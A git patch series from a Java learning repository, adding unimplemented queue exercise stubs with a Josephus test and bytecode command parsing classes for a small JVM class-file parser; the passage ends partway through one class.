diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/queue/CircleQueue.java b/group12/2258659044/zj-2017/src/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..4d99dc68e0
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,33 @@
+package com.coding.basic.queue;
+
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	public boolean isEmpty() {
+		return false;
+        
+    }
+
+    public int size() {
+        return -1;
+    }
+
+    
+
+    public void enQueue(E data) {
+        
+    }
+
+    public E deQueue() {
+        return null;
+    }
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/queue/Josephus.java b/group12/2258659044/zj-2017/src/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..6ca15ac7f2
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,18 @@
+package com.coding.basic.queue;
+
+import com.coding.basic.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){		
+		return null;
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/Queue.java b/group12/2258659044/zj-2017/src/com/coding/basic/queue/Queue.java
similarity index 85%
rename from group12/2258659044/zj-2017/src/com/coding/basic/Queue.java
rename to group12/2258659044/zj-2017/src/com/coding/basic/queue/Queue.java
index 169fc0dcb9..f7761a384b 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/Queue.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/queue/Queue.java
@@ -1,4 +1,4 @@
-package com.coding.basic;
+package com.coding.basic.queue;
 
 import com.coding.basic.linklist.LinkedList;
 
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group12/2258659044/zj-2017/src/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..7b1527e7b9
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,40 @@
+package com.coding.basic.queue;
+
+import com.coding.basic.stack.Stack;
+
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+    
+
+    public boolean isEmpty() {
+        return false;
+    }
+
+
+    
+    public int size() {
+        return -1;   
+    }
+
+
+
+    public void enQueue(E item) {
+        
+    }
+
+    public E deQueue() {
+        return null;
+    }
+
+
+
+ }
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/JosephusTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..4b9176a8ca
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package test.com.coding.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.queue.Josephus;
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/QueueTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/QueueTest.java
similarity index 90%
rename from group12/2258659044/zj-2017/src/test/com/coding/basic/QueueTest.java
rename to group12/2258659044/zj-2017/src/test/com/coding/basic/queue/QueueTest.java
index b12d23cdbd..ef471b8c4e 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/QueueTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/QueueTest.java
@@ -1,9 +1,9 @@
-package test.com.coding.basic;
+package test.com.coding.basic.queue;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
-import com.coding.basic.Queue;
+import com.coding.basic.queue.Queue;
 
 public class QueueTest {
 

From a6f8780f23b0d55588a8440aa292572c10d61779 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Mon, 24 Apr 2017 22:56:16 +0800
Subject: [PATCH 118/262] =?UTF-8?q?=EF=BC=88=E8=A1=A5=EF=BC=89=E8=A7=A3?=
 =?UTF-8?q?=E9=87=8A=E5=AD=97=E8=8A=82=E7=A0=81?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

（补）解释字节码
---
 .../src/com/coderising/jvm/attr/CodeAttr.java |  20 ++-
 .../src/com/coderising/jvm/clz/ClassFile.java |  21 ++-
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 +++
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 ++++++++++++++++
 .../com/coderising/jvm/cmd/CommandParser.java | 138 ++++++++++++++++++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 +++
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 +++
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 +++
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +++
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 ++++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +++
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 +++
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 ++++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 +++
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 +++++++++
 .../src/com/coderising/jvm/method/Method.java |   5 +
 .../jvm/print/ClassFilePrinter.java           |  54 +++++++
 .../jvm/print/ConstantPoolPrinter.java        |  25 ++++
 .../jvm/test/ClassFileloaderTest.java         |  79 +++++++++-
 19 files changed, 756 insertions(+), 11 deletions(-)
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java

diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
index 56c3bf2b0c..e5d5e522ee 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -1,6 +1,8 @@
 package com.coderising.jvm.attr;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
@@ -14,21 +16,21 @@ public String getCode() {
 		return code;
 	}
 
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
 	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code, ByteCodeCommand[] cmds) {
 		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
-		//this.cmds = cmds;
+		this.cmds = cmds;
 	}
 
 	public void setLineNumberTable(LineNumberTable t) {
@@ -45,9 +47,11 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		int maxStack = iter.nextU2ToInt();
 		int maxLocals = iter.nextU2ToInt();
 		int codeLen = iter.nextU4ToInt();
+
 		String code = iter.nextUxToHexString(codeLen);
-		System.out.println(code);
-		CodeAttr attr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
+		ByteCodeCommand[] commands = CommandParser.parse(clzFile, code);
+		
+		CodeAttr attr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code, commands);
 		int expTableLen = iter.nextU2ToInt();
 		if(expTableLen > 0){
 			String expTable = iter.nextUxToHexString(expTableLen);
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
index 64d38df4a2..471f04d265 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -86,12 +86,12 @@ public void print(){
 		
 	}
 	
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
@@ -101,4 +101,21 @@ public List<Field> getFields() {
 	public void setFields(List<Field> fields) {
 		this.fields = fields;
 	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		for(Method m : this.methods){
+			String mName = this.getConstantPool().getUTF8String(m.getNameIndex());
+			String pAndRT = this.getConstantPool().getUTF8String(m.getDescriptorIndex());
+			if(methodName.equals(mName) 
+					&& paramAndReturnType.equals(pAndRT)){
+				return m;
+			}
+		}
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return getMethod("main", "([Ljava/lang/String;)V");
+	}
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..cd0fbd4848
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..a3abeacc82
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..fca703c59a
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,138 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		List<ByteCodeCommand> cmds = new ArrayList<>();
+		CommandIterator iter = new CommandIterator(codes);
+		while(iter.hasNext()){
+			String opCode = iter.next2CharAsString().toUpperCase();
+			if(new_object.equals(opCode)){
+				NewObjectCmd newObjCmd = new NewObjectCmd(clzFile, opCode);
+				newObjCmd.setOprand1(iter.next2CharAsInt());
+				newObjCmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(newObjCmd);
+			}else if(getfield.equals(opCode)){
+				GetFieldCmd getFieldCmd = new GetFieldCmd(clzFile, opCode);
+				getFieldCmd.setOprand1(iter.next2CharAsInt());
+				getFieldCmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(getFieldCmd);
+			}else if(getstatic.equals(opCode)){
+				GetStaticFieldCmd getStaticFieldCmd = new GetStaticFieldCmd(clzFile, opCode);
+				getStaticFieldCmd.setOprand1(iter.next2CharAsInt());
+				getStaticFieldCmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(getStaticFieldCmd);
+			}else if(putfield.equals(opCode)){
+				PutFieldCmd putFieldCmd = new PutFieldCmd(clzFile, opCode);
+				putFieldCmd.setOprand1(iter.next2CharAsInt());
+				putFieldCmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(putFieldCmd);
+			}else if(invokevirtual.equals(opCode)){
+				InvokeVirtualCmd invokeVirtualCmd = new InvokeVirtualCmd(clzFile, opCode);
+				invokeVirtualCmd.setOprand1(iter.next2CharAsInt());
+				invokeVirtualCmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(invokeVirtualCmd);
+			}else if(invokespecial.equals(opCode)){
+				InvokeSpecialCmd invokeSpecialCmd = new InvokeSpecialCmd(clzFile, opCode);
+				invokeSpecialCmd.setOprand1(iter.next2CharAsInt());
+				invokeSpecialCmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(invokeSpecialCmd);
+			}else if(ldc.equals(opCode)){
+				LdcCmd ldcCmd = new LdcCmd(clzFile, opCode);
+				ldcCmd.setOperand(iter.next2CharAsInt());
+				cmds.add(ldcCmd);
+			}else if(bipush.equals(opCode)){
+				BiPushCmd biPushCmd = new BiPushCmd(clzFile, opCode);
+				biPushCmd.setOperand(iter.next2CharAsInt());
+				cmds.add(biPushCmd);
+			}else if(dup.equals(opCode) || aload_0.equals(opCode)
+				|| aload_1.equals(opCode) || aload_2.equals(opCode)
+				|| astore_1.equals(opCode) || voidreturn.equals(opCode)
+				|| iload.equals(opCode) || iload_1.equals(opCode)
+				|| iload_2.equals(opCode) || iload_3.equals(opCode)){
+				NoOperandCmd noOpCmd = new NoOperandCmd(clzFile, opCode);
+				cmds.add(noOpCmd);
+			}else{
+				throw new RuntimeException("cmd " + opCode + " has not bean implemented yet.");
+			}
+		}
+		calcuateOffset(cmds);
+		ByteCodeCommand[] byteCodeCmds = new ByteCodeCommand[cmds.size()];
+		return cmds.toArray(byteCodeCmds);
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..2e6061edd2
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e6cf9d5960
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..ac228d0e4d
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..c15d827797
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..ffb66f811c
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..33813b5d59
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..56c28fefe2
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..963d064257
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..85bb369c19
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6c0cf53082
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
